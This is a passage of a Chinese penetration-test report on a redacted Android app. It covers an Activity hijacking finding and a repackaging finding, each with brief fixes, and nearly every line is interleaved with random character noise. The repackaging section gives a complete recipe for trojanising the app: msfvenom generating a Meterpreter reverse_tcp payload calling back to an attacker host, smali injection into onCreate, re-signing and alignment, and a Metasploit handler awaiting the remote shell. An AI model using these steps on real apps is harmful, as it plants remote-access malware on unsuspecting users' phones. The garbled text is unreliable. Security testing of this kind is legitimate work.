; O+ R8 G% s3 n1 Y8 m% D- ^- E7 g3 q1 t: M2 g7 G" @7 R l+ ?
j$ G- Q8 d/ c8 t0 w* G7 m4 v) ^/ \" o% e. t' O6 o
表1-2 测试结果
" K) @9 P# ^# U" X" e8 L: `5 @* B7 |1 v# ^' l' k
+ X0 X/ Q/ F5 C
6 T( z4 t, y) @% o2 {
# K7 W& l4 o0 b- X' ^7 k0 F' o1 u' ]3 r: W
+ Z/ |( J: d4 t. f! V; ?$ ?" L
- C( p5 o4 q* o6 O& f" c0 X% P; e
2 C! ]% j& Z5 ~, I$ U6 O5 ]/ v% E7 u
* C% L# I) L' d8 y2 F: J9 u& I: t# A b9 X6 [# e4 V% q) X x! V( i
2 检测结果 ' m, s0 `5 ~+ `3 @. p
0 b0 m$ L9 ~% D# g& \2 T
: N* i# \( j% V! I5 k
4 M8 t: x& J* U+ L% w1 c3 ^6 K i( m
( i M/ t3 Z, Z+ _ d& P% ~* K; i W" D3 ]
2.1 某某某
9 @/ h) i s$ |. u7 [
4 g7 ?6 J, r& Q" B
5 p: o. i( M/ j+ H' O% H
- b* A' n4 v, j! f9 u: s
: d# [( B$ N! M- ?* x2 V8 R+ \, g/ a6 I
2.1.1检测目标
" L. o) m* i. n0 Q V" F
* T$ o1 c5 ^! f
9 r" t: p; D# G7 T
) L& p/ x7 v! p7 |
3 u7 X% I( p1 V% W
% S. }# c. d. v6 t6 S 目标地址: 某某某某某某APP
7 A1 w( L9 f. ^7 j3 y
- J2 m+ a4 C; L0 i
# e" E o3 m1 o
& z( r+ @9 I5 n5 Y3 u5 f6 x . Z, k( H8 F, W
2 R' ?2 w% m4 [2 T; z6 U 2.1.2检测结果
1 G3 Z, _/ _ {( v# {$ i9 u" {: h/ n! V% R/ T$ t$ a
9 I( z5 B9 S6 ^# i
. M$ c; r3 U3 h& N: T$ Q : M/ O* ^7 G6 ?( K6 F
" i- P2 v0 u, t: I' d5 ~. h! `5 Q
2.1.2.1 2 I- _. Z8 M$ Q d
3 d, J, O0 Q( e
2 r2 T- Y# e. q; V# |) g; \- A- K! O4 Q7 q+ q0 q- U" ]
8 V1 M) e9 S, c/ W6 } a# l" r! N) J$ _7 p8 c. Z C v$ e
漏洞链接地址:某某某某某某APP
: e+ U# w9 c9 p1 ~5 H
2 i4 d* a8 ^" c! h
, U3 U) y5 x/ Y5 i
" ?0 ~$ F/ n& s; |9 w* V& ?( Y 7 X$ |- ^6 e6 z
0 |. |. U0 Y! A$ R
& G6 I' Q1 K. o; A
& A. }$ T8 r" y7 l4 N
) T8 {/ W# m1 @! b/ s$ }( m
, D+ n# i# y* ^. e% S- ^ ' X8 ]! \( x6 s0 g
. ]& ~" p( E O/ B
漏洞分析及取证: " L% }+ ^1 w# [
3 u7 M* M1 J4 C; w) b- c( G! c! P. I
, H$ X. }% y' g: P- D1 T4 x7 d1 w
- ?8 v: ]8 U/ s, O* X& e5 A7 @ [7 u% w6 T+ i. f* k1 l+ n
. K j8 j4 Y, T4 ]* P: X. J 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: ! F3 u2 U h% C/ b# P
+ g: N9 E; |8 B Z, q8 ^; \* I: A. o
( m. B- [# _ q3 I, U2 m. @) M9 H
0 S5 m/ @/ w8 b& {7 |) P5 ^
Y1 I! c" [3 C2 \" Q( @, `* P! J# h& v0 O% Q: p- d: s; e
1 h7 l- ?' B3 @7 ]4 k, M A
* h' i, ]2 ~) G/ x
v! S. C) x% g/ F$ d4 j5 I, ]; s8 P3 E9 _6 c, `5 z8 q
4 Z8 \/ y) R8 i* ^7 u4 K# p
- u2 r5 P) N( F ( x P. X/ ~% d5 B+ x
$ z2 [2 L. G+ M2 r2 F
# B" i! S& T X" Y# I
7 u7 R1 o# K9 S! Y- ?4 o
. t7 ~2 s1 s0 h$ |3 x, ]: W+ A0 o) T6 C; s; y& Z/ Y* ^7 d
% s5 W) b2 Z8 [/ M, f
( x3 [# n2 I* s; O; [, C2 s6 |
+ K2 H4 {. e2 P
1 r3 [5 @0 L- f8 p) l0 ?$ K - ^2 Y* B8 T m5 V% Y
) p0 E5 } y, j6 f; V
6 o% Y2 G, M6 n% [2 P4 z7 f% G0 T- H
$ g" A0 F9 V( C' Y- t V. u% t) }; N: j5 k; Z
) ^6 P5 B+ ?# X" d4 ~' k5 i
9 a" S1 t$ h F1 Y6 p
! m* j$ ^/ o& ]9 q: N S- W8 N9 g. c; e7 @* W' k# a
$ `5 T: Y0 a# a4 z% \. J, r! O
1 e1 e* A! w0 t8 P1 p+ {
8 i) c# w3 |% W) U; t5 _7 o2 e
- W8 u' z) l8 W9 j. D
漏洞危害:高 ' b- O1 e/ W) a- F. ]2 K8 x9 T
0 M4 p+ A; M- B8 L( O* X
( l3 A: H, r8 {) \. R$ T
( T J( @& q8 G' ^! H9 N 0 b5 d3 y' _* f, T. i) ^& j$ N
( X4 B; w8 c9 P; T; Q
5 A9 V7 T3 A& b5 [2 [, H4 `5 I8 ? i( c
( }+ v6 e& x+ g( }4 Y' [& ^4 x" d+ T
* `! x" J# h7 ~' j% Q1 S* E j% c
" R$ L" k& U6 b4 p& a: F' z
; H z+ Q$ x: m: `* C, Y [5 l. f
/ q- w# T, X0 M1 X, ?8 F2 w ! f# a" Z' ]5 G5 [3 w: m& ?4 @* G
0 c; P& y3 v( `5 r: i 严重程度
) ~( m; I3 }$ V: o: s' Z6 J! W% l& @6 E$ H( E) `( @( b
+ f$ [$ C, r/ y* g0 k
4 Z- V ]) ?8 K
|
0 v0 x+ {+ n- ?* ] L& \' j! |
+ @# m; {- ~0 b# i* Z! X ( i* B: W- i$ _- W2 S
/ A. u9 T% M. f o
! z" c( N3 K o* k q: B
* `# ]8 e- B! i8 T, X 高 2 Z7 w" Q7 J9 V" W3 B; @, V
- V- ^8 R, t& o+ ]3 X0 T
3 x" J7 f. A f$ k! w9 ?. f: G0 C7 Q2 J
|
# x; s( ~1 I1 `9 X# b# r$ k
9 B# ]( C# B, X. T# C * U! V* G1 p" l; p- {
8 q8 B" i& w. V
9 Y* M5 i6 U! @5 W3 o: b1 i
0 q$ v7 ~5 O3 ]0 Y. V) \ ■
0 z' b7 }3 p" `1 ^ |5 i! p+ o4 O! q" ]* O; l" @
, `& |0 |" `! d1 X T* h7 J& p- Y+ y+ k A" R
| % P/ f: r& x/ `/ b; f# {, _
/ o" n# P" I4 P) Q
" T$ U, p7 y) B! C" s4 g! J/ t4 _; {) R5 f
i9 I% t3 |3 l) [0 F
3 V$ n7 s' p- _% R4 \; ~
中 ' G6 G3 J; @8 r5 a' y j
3 `5 O# C, M7 S9 a. O+ M! D. _
4 }$ D b9 Y e: j; K' z$ t; U: u6 _( y9 V: T- o0 T4 W
|
$ V: G0 q+ e& W f1 h6 B Q' r I3 U, l2 C
8 g' Q% k& X F) k5 I4 C% e* D3 w! y; } k+ f, z
8 u: R$ w2 y1 V0 \) ]* c% M" R. g5 H( G/ y) }$ J
& ^; G, K+ C, U( A: X5 r. v% e _
& O1 U* C6 E; K, w
% p W9 e* i! Y5 r2 m M
2 P' Z" D, h3 m! ?5 Y- V | / J, u/ h2 i$ F7 V
" g# ~* r5 n' y; H+ O
! R; a/ i; s" N
' i( {5 g7 n3 I
2 A/ L9 j6 a5 A @5 H1 w
/ _/ i6 S/ a% I0 ? 低
. U# i5 X9 @% r) N% K9 S7 a2 g p; ~% r e% W2 E
; |+ T' n6 @5 x P
/ |8 g3 A8 Z2 c; d \0 R: m' b8 u | . M5 E$ h! c' b G c
- T2 A) y9 p2 ]$ a
: _1 I. W1 |# p: d2 l# M+ q
( {5 u& s8 J! n6 S
) x8 K0 w6 B1 ?" S0 n
. q6 W( {* d9 d* j; y) q3 N
" Q6 \, N4 @/ w+ Z% f- i; l( N: o( {2 c' h
, o9 V7 O# I: A8 C
$ A M/ T4 C+ _% R |
- `& d7 c0 h/ D7 V8 P% t4 y# M% b* p8 I C$ ~
5 t9 X( \$ `- ^7 U$ O
5 e$ e* i" P& P
) Y7 L' I% t( E+ a/ r, b& t6 |
& K d: i( e, Z2 c
2 Z- F$ K$ k9 C S/ z2 ?
0 I8 O6 z+ c# v7 C! w* @6 t) n" v: u
4 F5 `" @) ` y) H0 _( C" n, `% m& B9 v/ f+ D' L
( T8 g R ~; z% `1 A4 e: ~
( ?9 j/ R! \! N H- |$ K 6 N# v; K# ? t7 n+ G
0 Z" J+ _ T3 k
/ \# ?! i# _/ D! b2 ?% _+ a+ x- P
" [: c, F' H. S9 |- h' s
9 D: y. l0 e6 \- S! J" c
0 B! S' C `, _& r5 w8 } 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 % k) X( s( y3 Y
# G3 e* D# I8 }7 s* i8 n6 O3 E! F
2 o V/ m% X) L4 V; h i/ E, y7 q
1 B( C+ V$ N$ r K$ T& g4 q! Y & y5 ?2 |0 _- j4 m9 N p9 x/ i& A& G
7 a- X" }9 r* R0 s& L
, Z: U; B: m5 s. ^1 v- o+ X6 y
% ], K8 M! A/ W9 i8 a- }* o
/ f) A- s6 F; b& v# o
7 \- i+ v) w' h$ X9 y
& e6 t! z/ s6 a7 }. L+ I% C' a0 q- {! R# G' E
) f- Z! c. r; y! K/ V$ Q
3 E/ R; q. g* c' H. o$ h, U
- ]1 V8 h* }$ F0 j7 P. `+ k2 E/ w7 J+ F4 ]
3 F7 a! Q4 g- e9 D) q9 b* a8 X
4 s0 N; z: d* P! U) G* L3 H 2.1.2.2 % w2 R9 f- Q2 J+ ]
K6 v2 r }0 Z9 x2 \4 j/ b
/ B7 E+ {/ j- Q
8 T' s0 O- J f# q2 q7 L9 p
3 y w. ^1 A0 |4 X4 D0 m6 O
* t2 Q% d' K% _6 T 漏洞链接地址:某某某某某某APP 3 F [$ Z2 Q$ R
* G m7 ~/ |" }+ N8 Y
4 O) ]/ X/ i% ?; h% y
! p6 k. x/ j) N7 B+ O 1 }4 W: J" e0 |# a( q2 A' E$ S% U6 N
4 M5 i1 H% C: M" `
漏洞分析及取证:
" S' r9 @/ C. I9 h4 j6 C
H- W6 }& S% `5 Z c
' }6 C0 K ^! t1 p
" ?, y$ }# }, E
, B3 `+ P2 D# _; F. o& A
0 c( q7 ^7 U, G! M+ } 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
3 I: W: k1 G* c. H9 b
y/ ~6 h8 Y# I* ?
7 w5 G4 |( v9 j" I1 |& H' q1 y
( t# p8 }5 B4 ]
4 N; x6 c4 N9 T' I! p5 P5 v, V. i
# v' f+ S7 q/ [; ?1 _! ? 用Metasploit 生成木马 apk
3 V/ d( a: L! G) p/ d
- W' K+ G0 P( {
& n% O: i1 R1 `- Y7 {5 q
0 b4 e% z+ M& i d0 ]- @
3 S$ @7 d/ a5 m/ p! V* C: D" a/ ^& ^/ c3 R; [, V
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ `5 R# j# @* n& ?% d& k
( F" @# B& h r
3 l3 T# T/ d" M
, A6 R Q! z* _( h
! b" A6 f* K! C* K
% q! e6 h) }# S2 x, d5 `/ c 反编译目标apk和木马apk
/ _% g3 Y, @. o L
1 A3 I1 x3 G: _4 |1 v+ q% [# i0 Q
6 F% v. j0 a; d: @, T! I2 w, F
* H2 c; q/ s- Z' {3 }. U" x6 s
" }7 k$ X- C* P, o* W' m% l3 r( ^; f/ i9 D* K6 \: P i
apktool d target.apk
0 N T& A J4 E8 n$ R. P9 Q
% e, A4 D$ F) e3 t
apktool d cockhorse.apk
- R/ P4 X4 U7 T
8 u& w0 w' I) D% S) U( R* p
$ F3 D8 R% B; `$ d' K* o
: x5 S# h3 }( Z& h* s: e 9 v3 g. W! ^5 f( [$ R2 U: K' Q6 |% m2 _
* L4 [8 V# j0 K% [+ y9 S
木马 apk 注入目标 apk . k9 N: g! r# o% s" g# P- ] V0 @
( u( }* w/ e" H" B& `8 g$ X$ c
* {$ ~8 d3 H4 @2 x. V$ |, R* Z" d
* M5 t- q' ~, f$ C( O : ~4 d5 u I; { X; A; x5 Q
- _/ `1 d7 [6 B# g |4 @ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
& Y- W( z: d9 d- A9 B% L( D1 ^
% V+ ]9 X5 q7 G* H% L; ~ invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
8 L2 i; t" T9 L8 @" G& ` }# ^5 {( ~: S
" ?! k0 F3 ^4 q. i( h# E; m/ _" o+ w& v% K
" x4 s; M1 T1 V% o
" Q& I& Y( r# U1 ?$ j) ~ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
/ e! E# s9 ?: x+ z3 `# h) ~
* ^4 n: _$ w6 i/ x/ J% |
" G. t% v: t: q2 |: _2 o- j8 s0 B
" _+ V7 [( R' P r* O3 W- d) d; Q: N : j1 \8 g" y9 n( V& G0 v2 u
% b. H$ Z @% q 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 6 k' R8 \1 A: T( F5 q4 M# Y
6 H! t5 X/ z4 _2 R% O2 e
$ ^# u0 n) M# B, h+ F5 t0 G; c- l9 ]: A8 r2 h. H
; \& y* F9 L4 F- ?& y! I; Q
6 n, W$ \. s ~7 w7 K+ ]
回编译生成最终 apk
% C. k0 s3 j) i9 {; e9 m ~* X2 e8 [
- @$ u2 d& k: w W; h; H9 B1 [. L& S* d+ U, A- D
9 y6 O: @ A+ n+ f, f+ X
0 v5 I B% J; J+ w9 p 重新打包
0 q, `, K7 K* ^* [2 N; h+ L; `
- K+ W; z0 Q- _
( w7 F4 L2 g+ A4 B- @ w( I+ t
- V% F5 }% y' ~5 Y& b
d7 e) ^, h v2 h
( [. _# t7 r8 q: {1 ~5 H! k apktool b -o repackage.apk target_app_floder * ?6 k% L5 {7 Y! h% e, s& {
( R. R7 n' o: O
5 h' U- I( ^: { C* k7 z
: l" k% ]: `% t1 c; G3 M
' B8 l3 F- J% K) f2 @: _( Q- W0 l
4 h5 u. z* e; g: \; x3 _1 z
创建签名文件,有的话可忽略此步骤 $ i0 d# w# N0 Q, ~7 z/ A5 |4 G
0 H, I2 A0 w; B" j* A
9 C4 s+ s: R0 T+ f
& x4 c( N( q( a, U, n: C2 r# Q
+ m/ H9 V# F. b+ G/ u; G6 g+ d1 m: e" U k: w' R
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 3 S; X5 d1 W ~. \ a3 r/ T
5 e4 {) Y1 C# f
" B, p: r7 m+ p7 ?
0 D6 h" a8 i- N7 x
$ {; |7 h) Y4 y/ k5 {: h! [3 R( a" A9 o4 E& [
签名,以下任选其一 + h: B$ V9 p3 K1 J- v
# N8 q; ?/ J/ c, Y6 E/ t
& V( @; a/ h3 s& ^! I
1 W3 x$ w. t) b" N; v; L% o& t0 B 1 q- X: f% F3 B5 w, E; X0 r' f
, w! W3 ?2 A- d& H: G4 Y
jarsigner 方式
3 h4 q9 ^8 u. Q2 H4 @9 h
1 m3 N8 O4 x# d4 B
9 s- y! i ?' n( s ~% r7 ~6 \: e
4 l, Z+ U, A' `/ i
?* \* O7 D, Y- m6 X" w8 p" L( w* I* V' R
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname & ~7 N" r5 S, m9 F5 x) ]
' q% L* s) `, i! X9 p# m
1 {; l. o; Q6 i2 @
+ s% w1 d+ i. s1 Z
; X& `" A- p0 U& x0 [3 d' Z
/ i% r# d f6 `' T apksigner 方式 ! G, b6 G) ]: ]+ V" y
1 N. p$ w- M# W% q: p0 } h- R
1 J& [& V+ n$ c: z
( A& G9 ?! [! I$ r+ E/ e. C 5 u: }+ E, c8 X z) G7 ~
3 l4 ^( z: H+ _& C6 O3 `
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
0 t: C9 C5 B, e# v5 }/ x, ?" A, E3 F% ], y; L0 g+ D! E+ k* y
. K1 S, W1 B( G9 B/ w) `
2 I6 t! @2 Z& _( M" l. f) X " h1 ^/ K d8 D9 B8 i" Q( H
+ n# L9 J' w3 M& E6 J! @2 p+ x, c
如需要禁用 v2签名 添加选项--v2-signing-enabled false
9 E* ~3 O4 B9 i4 B ~- E X9 ^" n5 P, l x9 R
9 M6 E" N Z- U8 Z% O$ Q! s
- ]" @) f9 @& n% r( P2 p7 L
& ?) q2 p$ }5 _. l3 R5 K8 X1 n9 U% x) G: Z' s: b
验证,以下任选其一
3 ^/ P( r# X8 [* E+ G5 }, z+ _7 M! D" i
7 Q1 @+ i) K4 `+ f7 g1 J& F
4 r# h. j3 }( }9 x& F9 H* _
+ ?# A4 Q: @4 p) a, f- Y
8 d2 u/ H+ d ^
jarsigner方式 ' P7 D& d6 ?0 x8 {
# ], l- G; Y2 T) S6 S1 R( O& y) C
2 o3 w1 a" M( p0 Q0 Q q
! C; ~! ]' X) y# j6 R
5 J& e! U; z7 v
8 V; y! u5 ?7 B4 q4 s+ z" Y! ]
jarsigner -verify repackaged.apk 0 `- v3 r- N) z3 X+ m
! u, u! V s% {+ r( w
9 N- `- F& T% J# ^
0 ]2 ?' l. }& ]/ Q * ~, _' Z, S5 p1 t. F7 @& T3 I$ o
1 c4 Q( f, e; C# N% F& L apksigner 方式 5 U# S7 L, W1 ~6 L" K
. G+ z! p6 R9 u/ v+ X+ J
1 P% w0 q B. [
2 L( f) w. M- }- U* s$ { / t6 W5 ~. l& U
6 k6 M2 A2 Z) T" I( \5 U+ X apksigner verify -v --print-certs repackaged.apk 3 J+ [, q5 t0 c. O9 b2 C
' M7 t3 x3 D! u5 S2 I+ o+ B
8 T7 E4 v. E, ]! H9 }3 u/ u6 x
! Y4 r; @% F6 ^ ! B/ X/ m v1 N/ F: M: } Q. x8 ]
% I, M9 d; \% H' ^; d6 w% H8 u keytool方式
1 X* h, g, l/ G: z$ T: c( x1 f& v$ E: c
% n8 p% H4 H B8 g8 O/ I+ P% o* P, x) l
( f- Q5 d+ N0 j8 R, N) w$ B0 f' d# U r b& F- A5 P# y/ {5 [6 u
keytool -printcert -jarfile repackaged.apk
9 w6 @4 U, w f3 j" F) X Z. T( n. i ~
, p, S+ N* H, A& n* B
+ E2 g2 z w) W, `
, I4 I( Y5 m/ F# r& w& ~' P7 Y6 k. h: z2 W0 ?) M9 V
对齐
2 \: b: \& f% E# T
) u, U" N0 q! |3 Q) I
+ ?, g8 C% d" ]/ `$ {
$ ^6 Z I' P+ @* j$ \
" e) v6 S4 n5 a; e9 [" Z: `
' m$ ^/ h& M, Y7 g/ F( B a' h5 { 字节对齐优化 $ w% Z/ j$ i: q
! U0 ^$ a7 w5 w1 V( A0 E
# J s+ b. k5 m8 ?5 _. O2 ]7 P; [
7 e* Q4 F& s& ~/ |# u, d+ v, f$ v
7 Z5 y$ Q* k( A7 h zipalign -v 4 repackaged.apk final.apk
3 g+ I- k9 y1 o1 N, f9 b5 F, R, e, w, q; R6 R) u
2 r$ B* {: N! M) G- X0 D2 e6 v' J1 d8 b
" \! ]4 d& v" t1 O( f( T' R$ P0 Q
' {' U" `9 G7 [( K 检查是否对齐 - [/ F$ b) @9 H( ^$ [1 o
$ d, s7 L1 v8 \$ q& C( _( D9 W* n7 O
; h- @+ p8 F, P7 L5 u
( J4 s$ {* j+ j0 o5 l) p2 {4 U / H( I# I( G% @% {: t3 W8 d F; _; M7 ~
$ [4 ]7 M; `* l3 R* W/ ]
zipalign -c -v 4 final.apk
0 i* R* I! e* B& A+ j! P% ?3 Z: p) T( Q' I# L& w- e6 X
( W2 R2 t; D/ ?
" v; H5 j" @: A6 P
! Q" |1 j& a3 K
9 o& L- N& Q* T: d* @+ q 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 1 L$ ?" [- X+ a' H
?! c N! D3 b2 B' _
2 y L, f' j" {, B; d; i2 ?3 D/ c1 ~+ u `% j" K
+ r$ L: \- ^- t, `- _2 ~* L- @( F: v) U: q: \$ A7 g7 x
启动Metasploit控制台,配置参数等待上线
# P1 m6 Y! K+ s4 K# D
: ]& s& R+ B9 K9 j0 Z
9 |7 ^ x6 v& V5 A- Z- L/ `" a; {: E i, y3 i1 o( Y
0 s/ b4 C) H* y& n2 D
# J1 v3 r6 Y9 R/ S% Y3 A
在终端依次输入如下命令
) `/ G/ c3 s- n7 U( B: v3 k
+ h( j; x5 P7 I0 Y* m% l% x1 a
9 H N- Q/ ~0 z; C! i' L; v, H. O& v9 a+ N# D: _6 L8 _
: P' b6 H5 R- |7 \1 i
: Z% z W" X9 w# K' o- \
msfconsole
7 ^, p4 T/ |9 f6 Z: b1 ` r" v+ e& A# g0 G$ a. A# ~
3 K! \7 H$ [, J4 W2 h! i
; |0 x! b V9 ^- x) M- H 6 p$ W$ `% Q6 M% _- [: ?( v
, r" r3 n: Y# O3 b! T3 `
use exploit/multi/handler
6 l, O1 m. |7 Q, u) U
' @, W) B! F' R. H, Q2 w, ?( j
* ^. ?& {* q. i
& ^1 e( Y' _+ }( v8 d
- D0 V! Z5 G5 X* k( E$ E
+ U% q9 Y0 T$ ~- r. [' { set PAYLOAD android/meterpreter/reverse_tcp 0 u, ?8 P) }' o) I' |" ]7 B
* S; X- D: C/ k, U
5 R2 H; o% N5 O* f" g2 m+ k
/ Z T( w7 k; j. y
3 J& u/ X% g# f/ A3 p+ ] I: @/ L0 ]! x6 C* H
set LHOST 192.xxx.xx.xx
3 o X+ {5 O, ~6 j1 L2 t) U: l" ]0 j2 c" s9 l, R
! Y6 I5 r7 Z5 G$ O" ~4 A1 p, N4 i# _6 k" {3 w0 k' s
7 n4 o H' }6 {3 H( V. A
! j; }+ v: M8 ^ E3 ~1 {: N set LPORT 4444
/ Z' z" m, C3 j7 [6 R) C& i! [- Z1 D! k3 }
3 Y4 V( ?, [( E. U4 F
5 }( h( C( q9 x7 a& s6 A# l( z 2 g0 i3 x' a5 \* y; a2 d4 {
, N) ]7 f! |8 e
exploit
$ H' G) U6 d& Z/ V" J @
7 e% ?3 E1 o/ r9 b
7 `. q0 e8 l. B4 y" C) d0 X" |
. t5 z' i* v6 h2 V0 |3 m) _! d0 H7 m$ V
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: - z% w& |+ P$ r- r0 z8 F
6 G8 v4 u& ?) p2 h8 r g# B
/ W9 s, }: m) k$ h7 A/ h1 L
7 O5 `& h' j8 f: J7 N/ `; _9 C" x 2 |& W9 h1 m& w' x
# q/ J3 o" v" |3 z( L' o 漏洞危害:中
( P3 R. j0 x- K8 V* }& t0 z8 I: T5 X( r; y
$ E3 R6 Z' u+ t
$ }- \* g4 F/ G m8 b& L
/ W2 I0 L+ @. S6 v ]+ H8 D* C$ C2 {$ x
: [' N. P6 C7 B, s- V8 c: \, j2 ^# B
) Z& e* q& ]3 U( D9 ^# ]
/ u' q9 k9 B* C" ~% Y5 g Q5 Y7 Z/ ~) [4 Q/ q
+ e( J- E) E4 d8 a7 t8 l
6 }/ n2 f- f" @/ R+ O7 w 5 [6 V6 N" S8 O2 O$ O' C9 F# o' h) Y
0 G8 ?9 W, W% F, t# C& Y ~3 z / O- V" L2 o; v" E5 J5 i! O
8 o0 C7 z3 r# N1 X5 S3 H 9 {0 k% `3 R/ u" l. ~! K7 M
: v* f1 E) i0 s" s8 U, c( Y
严重程度 X, r0 Q( K- O
2 [9 n$ Y0 Y# v# s4 k
' l" M8 d- v" ^; V% U% b
2 ~5 }, P p0 s; v w |
5 n j1 a! e/ ^; J0 W
6 V0 {/ H+ G- `! R
+ v* N. J' }2 c& V) T4 x* Q' z `
: p. k1 J" c0 J, o" a
: C: e, ? F& D V
" }# J9 M6 T! H M 高
( \& E+ y4 {8 g7 E# j) @
7 n4 @" O3 h/ c' x- n/ p5 ^: e* l . U4 r$ a1 |6 k F' h6 @
: I9 M2 G. u4 l* q- D | 4 F& e) c& @2 o1 _! X* ^9 u
+ c& L0 S2 D, N! T; I) i* S
z M8 V9 T8 P5 E2 ~
6 U# k* K$ }+ s- t: U3 R
# D" v( O$ ]. ^: t! O; [8 t3 d6 {+ W A
■ $ Y* [6 w1 r5 s9 j3 t
, B' c% P* {3 g # m% L) R2 N3 R5 C: U
2 l- n; k: e) }( G
|
: z( ]8 \/ ?/ L2 l$ Q
1 N' a. I( J6 V5 a% d- T
% h1 w. ~/ f- p5 [% {& }1 i3 L7 }- D/ z% M6 E! K9 U7 a
$ g" W) V* r+ f0 n3 Q' ?$ v$ S; _$ h. k% @% K4 a* q- ^5 |! ]
中 . w8 |/ R: B6 ^0 h9 b3 `" A% K& Q6 B
0 d3 m* X! `; V6 i& E
2 v- E0 k8 S6 W0 i/ u9 C( o6 E. {6 l& G" x$ i' `# o- X. d
| # f# R: P, d0 y! I1 |
8 w! v0 q$ |8 P7 ^" E: M7 W1 W
: ^# V9 q( ^8 J
3 @. W/ l( S2 M; p+ e 7 G" k' I9 z$ ^2 I. Y
* a+ r* t+ I6 L- q
6 M8 T- u* h* `. I4 I+ O
% U6 {5 i8 q# Q2 o
4 p( [; j3 S/ B# F& K# V) L+ @1 E$ D2 M
; C! v# }3 v) J3 c" W; R
3 _/ C' b7 x1 V* h: K4 I8 a& h" b; j Q | % f, S1 o: { w2 c. V/ P
/ ^0 |* M3 l* A8 E- \( S - @3 _9 M4 Q' j" M) v( n
3 ^* e2 I; E. I( g% x8 J
2 U+ n- U9 h+ B+ W. i5 Y: w `. E2 ~1 h0 j* P) b
低
2 l$ S) g2 U0 f J/ H8 k
" B+ v3 Z7 B0 O7 {9 I1 `3 \& F
2 ~2 X) l( r1 k0 B: @) n6 j! D; B1 c3 k; w3 X- Y
| ) l4 C3 G) t; ?8 ~2 d/ A, V
! G2 L" l0 f( X* `: ~
& u. A* h4 H* J$ K# w O: N/ |: I3 s. U, w
0 f1 t1 R* S1 V4 _0 s2 ?' t! b/ Z: p8 W; \- ~6 X7 V' @
5 C( d$ v7 w( i# b2 k( a" k6 m' g" F7 i G$ v5 Z# t& B5 g" B
$ l! q8 L+ ?+ h, T0 |5 _0 x v+ W) k) }
( @6 |! j1 [$ }$ K4 g3 G e3 }; U) Z
|
! {) a1 q( z0 u1 e/ v8 e1 B& \! T* m- w4 W6 g8 }+ X6 x2 s
+ I* m8 F; Q, R2 c
9 r8 |( W! q; V/ J0 t- M1 a S : @! n3 r# @3 }, q
/ S6 u" f0 _9 }! K$ p0 J
0 R+ G0 k6 F4 ~7 g3 f* F9 Y2 K
+ U5 R( d8 B5 [- O / M w4 \. ]8 F7 Q$ d) B j" V8 [
. {, z) a% J& E$ F8 v$ z
, B; A1 K+ }6 s* r( @( L
7 o/ h6 L5 }/ x* @3 {8 M - r0 ^3 h: ?! @7 S0 @4 u: Z
4 y S# D5 V' [) T5 x
. H9 X0 M. Z: \" Z: W/ t+ Y0 ]" q8 E& J; F
' G! Q s; `3 p
) G7 n$ i( @8 Q/ f# |, Q
修复方法: % {8 v/ d0 H' c a q+ q' {5 r
3 t! i6 a! G. V# H a8 I+ _7 `
: W3 `* ?6 K- V1 B5 ]2 j4 f+ e' {4 @- K5 q; Q
H+ @3 U8 j0 c0 j
, t- B: }& T: _ 1.在 APP 启动时应做签名校验防止二次打包。
% M! P% H& {. p: W# [8 |0 w8 T1 W; u/ E6 a0 F
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % e7 u9 s9 C4 X" ~8 d
0 p8 w0 f6 H& m
' ]: c3 s, N; F
1 b/ e! c: D6 a% p
% J j& ~) `5 G% U; q9 f8 B
; W7 a7 h3 A# V, `4 d , y% G; X, m: d9 w* y3 s' k9 D n
) d1 E8 }3 r% v; g$ F' O p; |
, ~4 G% a' a1 I) F1 y, b Q0 u+ L& y( v% B
! c7 Y9 G0 v! x7 M3 `. ?
) h2 \2 }; C1 W: `( ` R4 c' A
% J. s+ X7 p; O8 D
J& H# Z3 K6 k 4 R! J# j0 s6 B5 E3 j/ w
$ J t! c/ ~7 f# F0 M$ o
3 k$ ~) H8 ?8 J8 U3 d9 w
7 E" ^! B1 A+ I
6 r" e% X- n! u) Q1 i a Y6 m S) z) `$ l/ g